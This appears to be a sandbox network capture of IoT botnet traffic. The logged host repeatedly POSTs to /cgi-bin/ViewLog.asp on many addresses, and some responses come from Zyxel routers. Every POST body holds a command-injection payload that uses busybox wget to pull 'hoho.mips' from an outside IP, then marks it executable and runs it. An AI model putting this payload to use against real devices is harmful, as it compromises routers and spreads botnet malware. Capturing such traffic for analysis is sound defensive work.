Nov 23, 2023 05:17:04.348066092 CET	388	IN	HTTP/1.0 400 Bad Request Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Thu, 23 Nov 2023 04:17:04 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.13	44350	95.164.149.224	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:06.252331972 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:06.354316950 CET	1314	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 04:17:06 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3454 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-inter

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.13	51756	94.141.4.91	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:06.355828047 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:06.982383013 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:07.225826025 CET	1340	IN	HTTP/1.1 401 Unauthorized Set-Cookie: Session=0; httponly Content-Type: text/html Content-Length: 1244 Date: Thu, 23 Nov 2023 04:17:20 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 2f 3e 3c 74 69 74 6c 65 20 69 64 3d 27 74 69 74 6c 65 27 3e 2e 3a 3a 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 20 57 65 62 2d 42 61 73 65 64 20 43 6f 6e 66 69 67 75 72 61 74 6f 72 3a 3a 2e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 62 75 69 6c 64 2f 79 75 69 2f 79 75 69 2d 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 7a 79 78 65 6c 68 65 6c 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 69 6e 69 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 6c 6f 67 69 6e 42 74 6e 22 3e 3c 2f 64 69 76 3e 3c 69 6e 70 75 74 20 69 64 3d 22 41 55 54 48 5f 52 45 54 22 20 76 61 6c 75 65 3d 22 49 6e 69 74 4c 6f 67 69 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 43 55 52 52 5f 4d 55 4c 54 49 4c 41 4e 47 22 20 76 61 6c 75 65 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 41 56 41 49 4c 5f 4d 55 4c 54 49 4c 41 4e 47 22 20 76 61 6c 75 65 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 4d 4f 44 45 4c 5f 4e 41 4d 45 22 20 76 61 6c 75 65 3d 22 56 4d 47 31 33 31 32 2d 42 31 30 44 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 44 45 53 43 52 49 50 54 49 4f 4e 22 20 76 61 6c 75 65 3d 22 57 69 72 65 6c 65 73 73 20 4e 20 56 44 53 4c 32 20 34 2d 70 6f 72 74 20 47 61 74 65 77 61 79 20 77 69 74 68 20 55 53 42 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 46 49 52 4d 57 41 52 45 5f 56 49 52 53 49 4f 4e 22 20 76 61 6c 75 65 3d 22 56 35 2e 31 33 28 41 41 58 41 2e 35 29 43 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 48 54 54 50 5f 54 49 4d 45 52 22 20 76 61 6c 75 65 3d 22 33 30 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 63 75 72 72 65 6e 74 6c 6f 67 55 73 65 72 22 20 76 61 6c 75 65 3d 22 73 75 70 65 72 76 69 73 6f 72 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 69 6e 70 75 74 20 69 64 3d 22 43 55 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><meta http-equiv="X-UA-Compatible" /><title id='title'>.::Welcome to the Web-Based Configurator::.</title><script type="text/javascript" src="/js/build/yui/yui-min.js"></script><script type="text/javascript" src="/js/zyxelhelp.js"></script><script type="text/javascript" src="/js/init.js"></script></head><body><div id="loginBtn"></div><input id="AUTH_RET" value="InitLogin" style="display:none"><input id="CURR_MULTILANG" value="en" style="display:none"><input id="AVAIL_MULTILANG" value="en" style="display:none"><input id="MODEL_NAME" value="VMG1312-B10D" style="display:none"><input id="DESCRIPTION" value="Wireless N VDSL2 4-port Gateway with USB" style="display:none"><input id="FIRMWARE_VIRSION" value="V5.13(AAXA.5)C0" style="display:none"><input id="HTTP_TIMER" value="300" style="display:none"><input id="currentlogUser" value="supervisor" style="display:none"><input id="CU

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.13	56446	62.29.88.4	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:06.368122101 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.13	36980	31.136.65.118	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:06.544409037 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:07.142343998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:08.294394016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:10.694375992 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:15.302351952 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:24.518348932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:43.462285042 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.326203108 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.13	33302	95.86.112.145	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:06.777261019 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.13	33946	94.183.212.249	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:06.863940001 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:07.193015099 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Thu, 23 Nov 2023 03:17:00 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 